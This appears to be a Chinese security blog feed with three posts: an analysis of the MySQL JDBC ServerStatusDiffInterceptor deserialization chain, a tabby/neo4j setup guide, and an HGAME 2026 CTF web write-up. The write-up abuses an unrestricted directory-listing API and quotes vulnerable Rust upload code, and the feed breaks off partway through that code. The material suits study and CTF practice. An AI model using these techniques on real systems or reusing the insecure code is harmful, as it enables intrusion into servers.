&lt;p&gt;当 url 添加这一语句后&lt;strong&gt;queryInterceptors=ServerStatusDiffInterceptor&lt;/strong&gt;，当建立连接或者执行 sql 之前，该拦截器 ServerStatusDiffInterceptor 会自动强制向 mysql 服务端发送一条查询语句 SHOW SESSION STATUS 或者 SHOW BARIABLES。url 含有这两个语句时，建立连接后发送 show session status ,然后恶意 mysql 端返回 evil payload ,在客户端被 readObject() 触发。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;伪造恶意服务端，必须能返回一个符合 msyql 协议的完整结果集,其中返回 evil payload 。 看到有师傅是直接手写的 python 脚本。这里用了现成的工具，&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在 mysql 驱动中查找一个能调用 readObject 的方法，反序列化 evil payload&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;MATCH (sink:Method {NAME: &quot;readObject&quot;, CLASSNAME: &quot;java.io.ObjectInputStream&quot;})
MATCH (caller:Method)-[r:CALL]-&amp;gt;(sink)
WHERE caller.CLASSNAME STARTS WITH &quot;com.mysql&quot;
RETURN * 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;QQ_1771662874841.png&quot; alt=&quot;img&quot;  /&amp;gt;&lt;/p&gt;
&lt;p&gt;这里找到了两个方法可以调用到  java.io.ObjectInputStream#readObject  ，分别是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;com.mysql.cj.jdbc.result.ResultSetImpl#getObject
    
com.mysql.cj.jdbc.util.ResultSetUtil#readObject
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续逆向寻找调用了 com.mysql.cj.jdbc.result.ResultSetImpl#getObject 的方法（找到一个我们可以控制的入口类为止）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MATCH (target:Method {NAME: &quot;getObject&quot;, CLASSNAME: &quot;com.mysql.cj.jdbc.result.ResultSetImpl&quot;})
MATCH path = (caller:Method)-[:CALL|ALIAS*1..5]-&amp;gt;(target)
WHERE caller.CLASSNAME STARTS WITH &quot;com.mysql&quot;
RETURN *
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;QQ_1771663134795.png&quot; alt=&quot;img&quot;  /&amp;gt;&lt;/p&gt;
&lt;p&gt;无效查找了，并且有很多自身调用自身，缩小一下范围，剔除一些方法重载。比如那些 a(int num1) 调用了内部的 a(int num1,str str1) 这样的。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MATCH (target:Method {NAME: &quot;getObject&quot;, CLASSNAME: &quot;com.mysql.cj.jdbc.result.ResultSetImpl&quot;})
MATCH path = (caller:Method)--&amp;gt;(target)
WHERE caller.CLASSNAME STARTS WITH &quot;com.mysql&quot;
AND ALL(r IN relationships(path) WHERE NOT (
    startNode(r).CLASSNAME = endNode(r).CLASSNAME AND 
    startNode(r).NAME = endNode(r).NAME
))
RETURN *
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;QQ_1771751013154.png&quot; alt=&quot;img&quot;  /&amp;gt;&lt;/p&gt;
&lt;p&gt;把链子剔没了，这里往后就是看网上的链子然后打断点&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;QQ_1771753456858.png&quot; alt=&quot;img&quot;  /&amp;gt;&lt;/p&gt;
&lt;p&gt;connect  中为该连接创建了一个实例，其中封装 socket 和一些数据处理....逻辑认证等工作，负责把 Java 的 SQL 字符串序列化成 MySQL 协议的字节流，再把服务器返回的字节流反序列化成 Java 对象&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771753575320.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;初始化了一堆数据，键值对，originhost port password  user 等&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771753752938.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后调用 initializeSafeQueryInterceptors(); 方法。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771753731026.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跟进发现,提取 PropertyKey.queryInterceptors 的 value 然后加载该类 &lt;code&gt;com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Util.&amp;lt;QueryInterceptor&amp;gt;loadClasses(
    this.propertySet.getStringProperty(PropertyKey.queryInterceptors).getStringValue(), 
    &quot;MysqlIo.BadQueryInterceptor&quot;, 
    getExceptionInterceptor() 
).stream().map(o -&amp;gt; new NoSubInterceptorWrapper(o.init(this, this.props, this.session.getLog()))).collect(Collectors.toList());}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;public static &amp;lt;T&amp;gt;
Collector&amp;lt;T, ?, List&amp;lt;T&amp;gt;&amp;gt; toList() {
    return new CollectorImpl&amp;lt;&amp;gt;((Supplier&amp;lt;List&amp;lt;T&amp;gt;&amp;gt;) ArrayList::new, List::add,
                               (left, right) -&amp;gt; { left.addAll(right); return left; },
                               CH_ID);
}

### Collector 的作用：Collector 是 Java Stream API 中的一个接口，用于定义如何将流中的元素收集到某种结果容器中。toList() 返回的 Collector ### 定义了以下几个关键部分：
### Supplier：提供一个空的 ArrayList，作为收集结果的容器。
### BiConsumer（累积器）：定义了如何将流中的每个元素添加到容器中（通过 List::add）。
### BinaryOperator（合并器）：定义了如何在并行流中合并多个部分结果（通过 left.addAll(right)）。
### 特性：指定了 IDENTITY_FINISH，表示不需要额外的转换，直接返回 List。
### Stream 的 collect 方法：Stream 的 collect 方法接受一个 Collector，并根据 Collector 的定义执行收集操作。toList() 返回的 Collector 定### 义了如何将流中的元素逐个添加到一个 List 中，并最终返回这个 List。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771822305271.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;加载 ServerStatusDiffInterceptor 类,&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771858725403.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;完之后创建 connect ,后续经过一系列调用栈，会触发 preProcess 方法，接着 populateMapWithSessionStatusValues ,resyltSetToMap getObject readObject,触发反序列化。&lt;/p&gt;
&lt;p&gt;调用栈如下：&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;QQ_1771847565643.png&quot; alt=&quot;img&quot;  /&amp;gt;&lt;/p&gt;
&lt;p&gt;自从学 java 后很多都是看看网上的链子，然后自己调调，突然发现有些漏洞，调用栈很多，但是基本上只讲最上面的几层，不知道这是什么原因......,可能目前学的太少，等学的多了就知道了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MATCH (source:Method {NAME:&quot;populateMapWithSessionStatusValues&quot;, CLASSNAME:&quot;com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&quot;})
MATCH (sink:Method {NAME:&quot;readObject&quot;, CLASSNAME:&quot;java.io.ObjectInputStream&quot;})
MATCH path = (source)-[:CALL|ALIAS*1..5]-&amp;gt;(sink)
RETURN path LIMIT 5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771644280562.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>tabby-学习</title><link>https://fuwari.vercel.app/posts/post11-tabby/tabby/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/post11-tabby/tabby/</guid><description>java</description><pubDate>Fri, 20 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;写 java 题的时候，在 25 年的 L3HCTF 的 wp 中， 一位师傅使用了 tabby 寻找链子，当时用了一次，后来文件太乱找不到了，重新配个环境使用。&lt;/p&gt;
&lt;p&gt;tabby 需要 jdk17 版本&lt;img src=&quot;QQ_1771591358213.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我使用的是 1.3.2 版本的 tabby&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/tabby-sec/tabby&quot;&gt;tabby-sec/tabby: A CAT called tabby ( Code Analysis Tool )&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;目录结构大概如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771591591605.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;config 是一些配置， cases 是我自己创建的文件夹，放入待分析的 jar ，output 是分析结果，一些 csv 文件。&lt;/p&gt;
&lt;p&gt;neo4j 配置&lt;/p&gt;
&lt;p&gt;在该站点下载 https://we-yun.com/doc/neo4j/ 5.9.0 版本，然后配置环境变量。&lt;/p&gt;
&lt;p&gt;运行 &lt;code&gt;neo4j console&lt;/code&gt; ，powershell 可能有些问题，不知道是什么情况（）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771591758103.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;换成 cmd 使用没这个问题。运行完之后，访问&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771591797517.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后需要下载两个插件，放在 neo4j 的 plugins 目录下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771591869342.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;需要相应版本对应上 例如，neo4j 是 5.x 版本，相应插件就需要 apoc 5.x 版本。还需要一个 tabby-path-finder-1.1.jar 和 config 目录，其中是 db.properties 配置文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# db.properties
tabby.cache.isDockerImportPath            = false

# db settings
tabby.neo4j.username                      = neo4j
tabby.neo4j.password                      = 20060513+C
tabby.neo4j.url                           = bolt://127.0.0.1:7687
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 conf 的 neo4j.conf 配置如下,并调整内存分配字段&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server.directories.import=import
dbms.security.procedures.unrestricted=jwt.security.*,apoc.*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771592138391.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在 conf 目录下创建新的配置文件 apoc.conf&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apoc.import.file.enabled=true
apoc.import.file.use_neo4j_config=false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动之后查询,回显正常则是配置生效&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CALL apoc.help(&apos;all&apos;)
CALL tabby.help(&apos;tabby&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后参考官方文档对数据库做一些处理&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE CONSTRAINT c1 IF NOT EXISTS FOR (c:Class) REQUIRE c.ID IS UNIQUE;
CREATE CONSTRAINT c2 IF NOT EXISTS FOR (c:Class) REQUIRE c.NAME IS UNIQUE;
CREATE CONSTRAINT c3 IF NOT EXISTS FOR (m:Method) REQUIRE m.ID IS UNIQUE;
CREATE CONSTRAINT c4 IF NOT EXISTS FOR (m:Method) REQUIRE m.SIGNATURE IS UNIQUE;
CREATE INDEX index1 IF NOT EXISTS FOR (m:Method) ON (m.NAME);
CREATE INDEX index2 IF NOT EXISTS FOR (m:Method) ON (m.CLASSNAME);
CREATE INDEX index3 IF NOT EXISTS FOR (m:Method) ON (m.NAME, m.CLASSNAME);
CREATE INDEX index4 IF NOT EXISTS FOR (m:Method) ON (m.NAME, m.NAME0);
CREATE INDEX index5 IF NOT EXISTS FOR (m:Method) ON (m.SIGNATURE);
CREATE INDEX index6 IF NOT EXISTS FOR (m:Method) ON (m.NAME0);
CREATE INDEX index7 IF NOT EXISTS FOR (m:Method) ON (m.NAME0, m.CLASSNAME);
:schema //查看表库
:sysinfo //查看数据库信息
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;删除操作&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DROP CONSTRAINT c1;
DROP CONSTRAINT c2;
DROP CONSTRAINT c3;
DROP CONSTRAINT c4;
DROP INDEX index1;
DROP INDEX index2;
DROP INDEX index3;
DROP INDEX index4;
DROP INDEX index5;
DROP INDEX index6;
DROP INDEX index7;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开始分析&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;java -jar -Xms8G tabby.jar
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分析完成后需要另一款工具将扫描结果上传 tabby-vul-finder.jar&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;java -jar tabby-vul-finder.jar --load csv相应位置
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里有一些现成的官方给出的 match&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/tabby-sec/tabby/wiki/%E7%8E%B0%E6%9C%89%E5%88%A9%E7%94%A8%E9%93%BE%E8%A6%86%E7%9B%96&quot;&gt;现有利用链覆盖 · tabby-sec/tabby Wiki&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;QQ_1771592763799.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也可以配置 idea 的插件，方便找链子等等。&lt;/p&gt;
&lt;p&gt;todo......&lt;/p&gt;
</content:encoded></item><item><title>2026_hgame_week2_web_wp</title><link>https://fuwari.vercel.app/posts/post10_hgamectf/hgame/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/post10_hgamectf/hgame/</guid><description>CTF_wp</description><pubDate>Thu, 19 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h4&gt;easyuu&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;const _f = window.fetch;
window.fetch = async (...args) =&amp;gt; {
    const req = args[0] instanceof Request ? args[0].clone() : new Request(...args); 
    console.log(&quot;请求上下文:&quot;, {
        url: req.url,
        method: req.method,
        headers: Object.fromEntries(req.headers), 
        body: await req.text().catch(() =&amp;gt; &quot;aaa&quot;)
    });

    return _f(...args); 
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;![img](QQ_1770823720463.png&lt;/p&gt;
&lt;p&gt;js 发包请求这个 api&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const url = &quot;http://1.116.118.188:32111/api/list_dir&quot;

const res = await fetch(url, {
    method: &quot;POST&quot;, headers: {
        &quot;content-type&quot;: &quot;application/x-www-form-urlencoded&quot;,
    }, body: &quot;path=/&quot;
})

const data = await res.json()
console.log(data)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;![img](QQ_1770824194679.png&lt;/p&gt;
&lt;p&gt;在当前目录发现这些文件，rust 写的 easyuu,这个 /api/list_dir 可以用来查看文件目录，&lt;/p&gt;
&lt;p&gt;/api/download_file 接口提供下载文件，读取这些文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[
  {
    name: &quot;uploads&quot;,
    is_dir: true,
    size: 82,
  }, {
    name: &quot;update&quot;,
    is_dir: true,
    size: 12,
  }, {
    name: &quot;Cargo.toml&quot;,
    is_dir: false,
    size: 3485,
  }, {
    name: &quot;site&quot;,
    is_dir: true,
    size: 28,
  }, {
    name: &quot;easyuu&quot;,
    is_dir: false,
    size: 11071912,
  }
]

[
  {
    name: &quot;easyuu.zip&quot;,
    is_dir: false,
    size: 103224,
  }, {
    name: &quot;easyuu&quot;,
    is_dir: false,
    size: 11071912,
  }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// cargo.toml

 [package]
name = &quot;easyuu&quot;
version = &quot;0.1.0&quot;
edition = &quot;2024&quot;

[lib]
crate-type = [&quot;cdylib&quot;, &quot;rlib&quot;]

[dependencies]
leptos = { version = &quot;0.8.15&quot;, features = [&quot;multipart&quot;, &quot;nightly&quot;] }
leptos_router = { version = &quot;0.8.11&quot;, features = [&quot;nightly&quot;] }
axum = { version = &quot;0.8.8&quot;, optional = true }
console_error_panic_hook = { version = &quot;0.1.7&quot;, optional = true }
leptos_axum = { version = &quot;0.8.7&quot;, optional = true }
leptos_meta = { version = &quot;0.8.5&quot; }
tokio = { version = &quot;1.49.0&quot;, features = [&quot;full&quot;], optional = true }
wasm-bindgen = { version = &quot;0.2.108&quot;, optional = true }
serde = { version = &quot;1.0.228&quot;, features = [&quot;derive&quot;] }
tokio-util = &quot;0.7.18&quot;
self-replace = { version = &quot;1.5.0&quot;, optional = true }
semver = &quot;1.0.27&quot;

[features]
hydrate = [
    &quot;leptos/hydrate&quot;,
    &quot;dep:console_error_panic_hook&quot;,
    &quot;dep:wasm-bindgen&quot;,
]
ssr = [
    &quot;dep:axum&quot;,
    &quot;dep:tokio&quot;,
    &quot;dep:leptos_axum&quot;,
    &quot;dep:self-replace&quot;,
    &quot;leptos/ssr&quot;,
    &quot;leptos_meta/ssr&quot;,
    &quot;leptos_router/ssr&quot;,
]

# Defines a size-optimized profile for the WASM bundle in release mode
[profile.wasm-release]
inherits = &quot;release&quot;
opt-level = &apos;z&apos;
lto = true
codegen-units = 1
panic = &quot;abort&quot;

[package.metadata.leptos]
# The name used by wasm-bindgen/cargo-leptos for the JS/WASM bundle. Defaults to the crate name
output-name = &quot;easyuu&quot;

# The site root folder is where cargo-leptos generate all output. WARNING: all content of this folder will be erased on a rebuild. Use it in your server setup.
site-root = &quot;target/site&quot;

# The site-root relative folder where all compiled output (JS, WASM and CSS) is written
# Defaults to pkg
site-pkg-dir = &quot;pkg&quot;

# [Optional] The source CSS file. If it ends with .sass or .scss then it will be compiled by dart-sass into CSS. The CSS is optimized by Lightning CSS before being written to &amp;lt;site-root&amp;gt;/&amp;lt;site-pkg&amp;gt;/app.css   
style-file = &quot;style/main.scss&quot;
# Assets source dir. All files found here will be copied and synchronized to site-root.
# The assets-dir cannot have a sub directory with the same name/path as site-pkg-dir.
#
# Optional. Env: LEPTOS_ASSETS_DIR.
assets-dir = &quot;public&quot;

# The IP and port (ex: 127.0.0.1:3000) where the server serves the content. Use it in your server setup.
site-addr = &quot;0.0.0.0:3000&quot;

# The port to use for automatic reload monitoring
reload-port = 3001

# [Optional] Command to use when running end2end tests. It will run in the end2end dir.
#   [Windows] for non-WSL use &quot;npx.cmd playwright test&quot;
#   This binary name can be checked in Powershell with Get-Command npx
end2end-cmd = &quot;npx playwright test&quot;
end2end-dir = &quot;end2end&quot;

#  The browserlist query used for optimizing the CSS.
browserquery = &quot;defaults&quot;

# The environment Leptos will run in, usually either &quot;DEV&quot; or &quot;PROD&quot;
env = &quot;DEV&quot;

# The features to use when compiling the bin target
#
# Optional. Can be over-ridden with the command line parameter --bin-features
bin-features = [&quot;ssr&quot;]

# If the --no-default-features flag should be used when compiling the bin target
#
# Optional. Defaults to false.
bin-default-features = false

# The features to use when compiling the lib target
#
# Optional. Can be over-ridden with the command line parameter --lib-features
lib-features = [&quot;hydrate&quot;]

# If the --no-default-features flag should be used when compiling the lib target
#
# Optional. Defaults to false.
lib-default-features = false

# The profile to use for the lib target when compiling for release
#
# Optional. Defaults to &quot;release&quot;.
lib-profile-release = &quot;wasm-release&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后读取 easyuu.zip&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// app.rs
use crate::error_template::ErrorTemplate;
use leptos::prelude::*;
use leptos::server_fn::codec::{MultipartData, MultipartFormData};
use leptos::wasm_bindgen::JsCast;
use leptos::web_sys::{FormData, HtmlFormElement, SubmitEvent};
use leptos_meta::{MetaTags, Stylesheet, Title, provide_meta_context};
use leptos_router::{
    StaticSegment,
    components::{Route, Router, Routes},
};
use serde::{Deserialize, Serialize};

#[cfg(feature = &quot;ssr&quot;)]
use axum::{extract::Path, response::IntoResponse};

#[derive(Clone, Debug, Serialize, Deserialize)]
pub struct FileEntry {
    pub name: String,
    pub is_dir: bool,
    pub size: u64,
}

pub fn shell(options: LeptosOptions) -&amp;gt; impl IntoView {
    view! {
        &amp;lt;!DOCTYPE html&amp;gt;
        &amp;lt;html lang=&quot;en&quot;&amp;gt;
            &amp;lt;head&amp;gt;
                &amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;
                &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot; /&amp;gt;
                &amp;lt;AutoReload options=options.clone() /&amp;gt;
                &amp;lt;HydrationScripts options /&amp;gt;
                &amp;lt;MetaTags /&amp;gt;
            &amp;lt;/head&amp;gt;
            &amp;lt;body&amp;gt;
                &amp;lt;App /&amp;gt;
            &amp;lt;/body&amp;gt;
        &amp;lt;/html&amp;gt;
    }
}

#[cfg(feature = &quot;ssr&quot;)]
pub async fn download_file(Path(filename): Path&amp;lt;String&amp;gt;) -&amp;gt; impl IntoResponse {
    use axum::{
        body::Body,
        http::{StatusCode, header},
    };
    use std::path::PathBuf;
    use tokio::fs::File;
    use tokio_util::io::ReaderStream;

    let base_dir = PathBuf::from(&quot;./uploads&quot;);
    let file_path = base_dir.join(&amp;amp;filename);

    let file = match File::open(&amp;amp;file_path).await {
        Ok(f) =&amp;gt; f,
        Err(_) =&amp;gt; return StatusCode::NOT_FOUND.into_response(),
    };

    let size = match file.metadata().await {
        Ok(meta) =&amp;gt; meta.len(),
        Err(_) =&amp;gt; return StatusCode::INTERNAL_SERVER_ERROR.into_response(),
    };

    let stream = ReaderStream::new(file);
    let body = Body::from_stream(stream);

    let headers = [
        (
            header::CONTENT_DISPOSITION,
            format!(&quot;attachment; filename=\&quot;{}\&quot;&quot;, filename),
        ),
        (header::CONTENT_LENGTH, size.to_string()),
        (header::CONTENT_TYPE, &quot;application/octet-stream&quot;.into()),
    ];

    (headers, body).into_response()
}

#[server(prefix = &quot;/api&quot;, endpoint = &quot;list_dir&quot;)]
pub async fn list_dir(path: String) -&amp;gt; Result&amp;lt;Vec&amp;lt;FileEntry&amp;gt;, ServerFnError&amp;gt; {
    use tokio::fs;

    let mut entries = Vec::new();
    let mut dir = fs::read_dir(&amp;amp;path).await?;

    while let Some(entry) = dir.next_entry().await? {
        let meta = entry.metadata().await?;

        entries.push(FileEntry {
            name: entry.file_name().to_string_lossy().to_string(),
            is_dir: meta.is_dir(),
            size: meta.len(),
        });
    }

    Ok(entries)
}

#[server(prefix = &quot;/api&quot;,endpoint = &quot;upload_file&quot;,
    input = MultipartFormData,
)]
pub async fn upload_file(data: MultipartData) -&amp;gt; Result&amp;lt;usize, ServerFnError&amp;gt; {
    use std::path::PathBuf;
    use tokio::fs::OpenOptions;
    use tokio::io::AsyncWriteExt;

    let mut data = data.into_inner().unwrap();
    let mut count = 0;
    let mut base_dir = PathBuf::from(&quot;./uploads&quot;);

    while let Ok(Some(mut field)) = data.next_field().await {
        match field.name().as_deref() {
            Some(&quot;path1&quot;) =&amp;gt; {
                if let Ok(p) = field.text().await {
                    base_dir = PathBuf::from(p);
                }
                continue;
            }
            Some(&quot;file&quot;) =&amp;gt; {
                let name = field.file_name().unwrap_or_default().to_string();
                let path = base_dir.join(&amp;amp;name);
                let mut file = OpenOptions::new()
                    .create(true)
                    .write(true)
                    .truncate(true)
                    .open(path)
                    .await?;
                while let Ok(Some(chunk)) = field.chunk().await {
                    let len = chunk.len();
                    count += len;
                    file.write_all(&amp;amp;chunk).await?;
                }
                file.flush().await?;
            }
            _ =&amp;gt; continue,
        }
    }

    Ok(count)
}

#[component]
pub fn ListDir() -&amp;gt; impl IntoView {
    let files = use_context::&amp;lt;Resource&amp;lt;Result&amp;lt;Vec&amp;lt;FileEntry&amp;gt;, ServerFnError&amp;gt;&amp;gt;&amp;gt;().unwrap();

    view! {
        &amp;lt;Transition fallback=move || view! { &amp;lt;p&amp;gt;&quot;Loading...&quot;&amp;lt;/p&amp;gt; }&amp;gt;
            &amp;lt;ErrorBoundary fallback=|errors| view! { &amp;lt;ErrorTemplate errors /&amp;gt; }&amp;gt;
                &amp;lt;ul&amp;gt;
                    {move || {
                        Suspend::new(async move {
                            files
                                .await
                                .map(|files| {
                                    files
                                        .into_iter()
                                        .map(|f| {
                                            view! {
                                                &amp;lt;li&amp;gt;
                                                    &amp;lt;a
                                                        href=format!(&quot;/api/download_file/{}&quot;, f.name)
                                                        rel=&quot;external&quot;
                                                    &amp;gt;
                                                        {f.name.clone()}
                                                    &amp;lt;/a&amp;gt;
                                                &amp;lt;/li&amp;gt;
                                            }
                                        })
                                        .collect_view()
                                })
                        })
                    }}
                &amp;lt;/ul&amp;gt;
            &amp;lt;/ErrorBoundary&amp;gt;
        &amp;lt;/Transition&amp;gt;
    }
}

#[component]
pub fn UploadFile() -&amp;gt; impl IntoView {
    let files = use_context::&amp;lt;Resource&amp;lt;Result&amp;lt;Vec&amp;lt;FileEntry&amp;gt;, ServerFnError&amp;gt;&amp;gt;&amp;gt;().unwrap();

    let upload_action = Action::new_local(|data: &amp;amp;FormData| upload_file(data.clone().into()));

    let on_submit = move |ev: SubmitEvent| {
        ev.prevent_default();
        let target = ev.target().unwrap().unchecked_into::&amp;lt;HtmlFormElement&amp;gt;();
        let form_data = FormData::new_with_form(&amp;amp;target).unwrap();
        upload_action.dispatch_local(form_data);
    };

    Effect::new(move |_| {
        if let Some(Ok(_)) = upload_action.value().get() {
            files.refetch();
        }
    });

    view! {
        &amp;lt;h3&amp;gt;File Upload&amp;lt;/h3&amp;gt;
        &amp;lt;form on:submit=on_submit&amp;gt;
            &amp;lt;input type=&quot;file&quot; name=&quot;file&quot; /&amp;gt;
            &amp;lt;input type=&quot;submit&quot; /&amp;gt;
        &amp;lt;/form&amp;gt;
        &amp;lt;p&amp;gt;
            {move || {
                if upload_action.input().read().is_none() &amp;amp;&amp;amp; upload_action.value().read().is_none()
                {
                    &quot;Upload a file.&quot;.to_string()
                } else if upload_action.pending().get() {
                    &quot;Uploading...&quot;.to_string()
                } else if let Some(Ok(value)) = upload_action.value().get() {
                    format!(&quot;Upload successful: {} bytes uploaded.&quot;, value)
                } else {
                    format!(&quot;{:?}&quot;, upload_action.value().get())
                }
            }}

        &amp;lt;/p&amp;gt;
    }
}

#[component]
pub fn App() -&amp;gt; impl IntoView {
    // Provides context that manages stylesheets, titles, meta tags, etc.
    provide_meta_context();

    view! {
        // injects a stylesheet into the document &amp;lt;head&amp;gt;
        // id=leptos means cargo-leptos will hot-reload this stylesheet
        &amp;lt;Stylesheet id=&quot;leptos&quot; href=&quot;/pkg/easyuu.css&quot; /&amp;gt;

        // sets the document title
        &amp;lt;Title text=&quot;Welcome to Hgame&quot; /&amp;gt;

        // content for this welcome page
        &amp;lt;Router&amp;gt;
            &amp;lt;main&amp;gt;
                &amp;lt;Routes fallback=|| &quot;Page not found.&quot;.into_view()&amp;gt;
                    &amp;lt;Route path=StaticSegment(&quot;&quot;) view=HomePage /&amp;gt;
                &amp;lt;/Routes&amp;gt;
            &amp;lt;/main&amp;gt;
        &amp;lt;/Router&amp;gt;
    }
}

/// Renders the home page of your application.
#[component]
fn HomePage() -&amp;gt; impl IntoView {
    let path = RwSignal::new(&quot;./uploads&quot;.to_string());
    let files = Resource::new(move || path.get(), |path| list_dir(path));
    let version = env!(&quot;CARGO_PKG_VERSION&quot;).to_string();

    provide_context(files);

    view! {
        &amp;lt;h1&amp;gt;&quot;Welcome to Hgame web file explorer!&quot;&amp;lt;/h1&amp;gt;
        &amp;lt;h2&amp;gt;&quot;Directory listing for /uploads&quot;&amp;lt;/h2&amp;gt;
        &amp;lt;hr /&amp;gt;
        &amp;lt;UploadFile /&amp;gt;
        &amp;lt;hr /&amp;gt;
        &amp;lt;ListDir /&amp;gt;
        &amp;lt;footer&amp;gt;
            &amp;lt;hr /&amp;gt;
            &amp;lt;p&amp;gt;&quot;Current version: &quot; {version}&amp;lt;/p&amp;gt;
        &amp;lt;/footer&amp;gt;
    }
}

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// main.rs

use semver::Version;
use std::env;

const VERSION: &amp;amp;str = env!(&quot;CARGO_PKG_VERSION&quot;);

#[cfg(feature = &quot;ssr&quot;)]
#[tokio::main]
async fn main() {
    use axum::{Router, routing::get};
    use easyuu::app::*;
    use leptos::{logging::log, prelude::*};
    use leptos_axum::{LeptosRoutes, generate_route_list};

    let args: Vec&amp;lt;String&amp;gt; = env::args().collect();

    if args.len() &amp;gt; 1 &amp;amp;&amp;amp; args[1] == &quot;--version&quot; {
        println!(&quot;{}&quot;, VERSION);
        return;
    }

    let conf = get_configuration(None).expect(&quot;Failed to get configuration&quot;);
    let addr = conf.leptos_options.site_addr;
    let leptos_options = conf.leptos_options;
    // Generate the list of routes in your Leptos App
    let routes = generate_route_list(App);

    let app = Router::new()
        .route(&quot;/api/download_file/{filename}&quot;, get(download_file))
        .leptos_routes(&amp;amp;leptos_options, routes, {
            let leptos_options = leptos_options.clone();
            move || shell(leptos_options.clone())
        })
        .fallback(leptos_axum::file_and_error_handler(shell))
        .with_state(leptos_options);

    // start self update watcher
    tokio::spawn(update_watcher());

    // run our app with hyper
    // `axum::Server` is a re-export of `hyper::Server`
    log!(&quot;listening on http://{}&quot;, &amp;amp;addr);
    let listener = tokio::net::TcpListener::bind(&amp;amp;addr)
        .await
        .expect(&quot;Failed to bind to address&quot;);
    axum::serve(listener, app.into_make_service())
        .await
        .expect(&quot;Server failed&quot;);
}

#[cfg(feature = &quot;ssr&quot;)]
